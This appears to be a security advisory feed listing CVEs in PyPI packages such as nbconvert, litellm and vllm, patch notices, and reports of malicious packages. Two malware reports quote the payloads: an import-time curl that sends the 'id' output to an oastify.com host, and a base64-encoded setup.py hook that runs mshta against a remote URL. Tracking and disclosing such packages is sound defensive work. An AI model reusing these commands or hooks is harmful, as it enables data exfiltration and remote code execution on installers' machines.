hermes-next (>=0.1.0, <=0.7.1), openviking-curator (0.7.0) +1 more potentially affected by CVE-2026-13507 via openviking (>=0.3.24, <=0.4.23)

openviking PYPI version =0.3.24, =0.1.0, =0.7.1 - openviking-curator 0.7.0 - vikingbot 0.1.3 Source cves: CVE-2026-13507 Source advisory: SNYK:PYTHON-OPENVIKING-17751095...

128autograder-ipython (1.0.0rc2), 3-04-2025-ttm (0.1.0) +6324 more potentially affected by CVE-2026-6658 via nbconvert (>=4.2.0, <=7.17.1)

nbconvert PYPI version =4.2.0, =0.5.0a0, =0.1.0, =1.0.3, =0.1.8, =0.1.0, =0.0.0, =1.0.0, =0.11.0, =0.11.2 and more Source cves: CVE-2026-6658 Source advisory: SNYK:PYTHON-NBCONVERT-17707798...

MAL-2026-6478 Malicious code in mi-test-99-tuapellido (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditional...

MAL-2026-6432 Malicious code in rstreams-metrics (npm)

The rstreams-metrics npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...

Malicious code in ensmallen (PyPI)

Part of the "Hades" wave of the Shai-Hulud supply-chain campaign. On 2026-06-08,malicious phantom releases of ensmallen were published to PyPI using stolencredentials. The package executes a bundled JavaScript payload via the Bunruntime on import that harvests and exfiltrates credentials and...

ROOT-APP-PYPI-CVE-2024-3651 CVE-2024-3651 in rootio-idna - Patched by Root

Root has patched CVE-2024-3651 in the rootio-idna package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-45409 CVE-2026-45409 in rootio-idna - Patched by Root

Root has patched CVE-2026-45409 in the rootio-idna package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-27199 CVE-2026-27199 in rootio-werkzeug - Patched by Root

Root has patched CVE-2026-27199 in the rootio-werkzeug package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2020-26137 CVE-2020-26137 in rootio-urllib3 - Patched by Root

Root has patched CVE-2020-26137 in the rootio-urllib3 package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2018-25091 CVE-2018-25091 in rootio-urllib3 - Patched by Root

Root has patched CVE-2018-25091 in the rootio-urllib3 package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2019-11236 CVE-2019-11236 in rootio-urllib3 - Patched by Root

Root has patched CVE-2019-11236 in the rootio-urllib3 package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2018-18074 CVE-2018-18074 in rootio-requests - Patched by Root

Root has patched CVE-2018-18074 in the rootio-requests package for Root:PyPI. Multiple fixed versions available...

0din-litellm-shield (>=0.2.0, <=0.3.0), 0token (>=0.1.0, <=0.4.0) +3830 more potentially affected by CVE-2026-12795 via litellm (>=0.1.400, <=1.105.0rc1)

litellm PYPI version =0.1.400, =0.2.0, =0.1.0, =0.1.0, =0.1.0, =0.3.0, =0.0.13, =0.0.13, =0.1.3, =0.0.4, =0.1.0, =0.3.5, =0.1.1.dev1, =0.2.2, =0.2.1, =0.2.0, =0.6.1 and more Source cves: CVE-2026-12795 Source advisory: SNYK:PYTHON-LITELLM-17393717...

aana (>=0.2.1, <=0.2.2.2), acai-swarm (0.1.0) +214 more potentially affected by CVE-2026-54233 via vllm (>=0.1.3, <=0.30.0)

vllm PYPI version =0.1.3, =0.2.1, =1.2.1, =0.0.0, =2.3.5.dev0, =0.0.7, =0.0.1b1, =0.2.2, =0.2.4, =1.0.0, =1.0.2 and more Source cves: CVE-2026-54233 Source advisory: SNYK:PYTHON-VLLM-17372794...

ROOT-APP-PYPI-CVE-2023-43810 CVE-2023-43810 in rootio-opentelemetry-instrumentation - Patched by Root

Root has patched CVE-2023-43810 in the rootio-opentelemetry-instrumentation package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2022-21668 CVE-2022-21668 in rootio-pipenv - Patched by Root

Root has patched CVE-2022-21668 in the rootio-pipenv package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-27459 CVE-2026-27459 in pyOpenSSL - Patched by Root

Root has patched CVE-2026-27459 in the pyOpenSSL package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2025-8869 CVE-2025-8869 in rootio-pip - Patched by Root

Root has patched CVE-2025-8869 in the rootio-pip package for Root:PyPI. Multiple fixed versions available...

Malicious code in testpgagent (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f On pip install, setup.py line 19 calls execbase64.b64decode... whose decoded body is import os; os.system'cmd /c "mshta http://fixars.top"'. This...

ROOT-APP-PYPI-CVE-2023-37920 CVE-2023-37920 in rootio-certifi - Patched by Root

Root has patched CVE-2023-37920 in the rootio-certifi package for Root:PyPI. Multiple fixed versions available...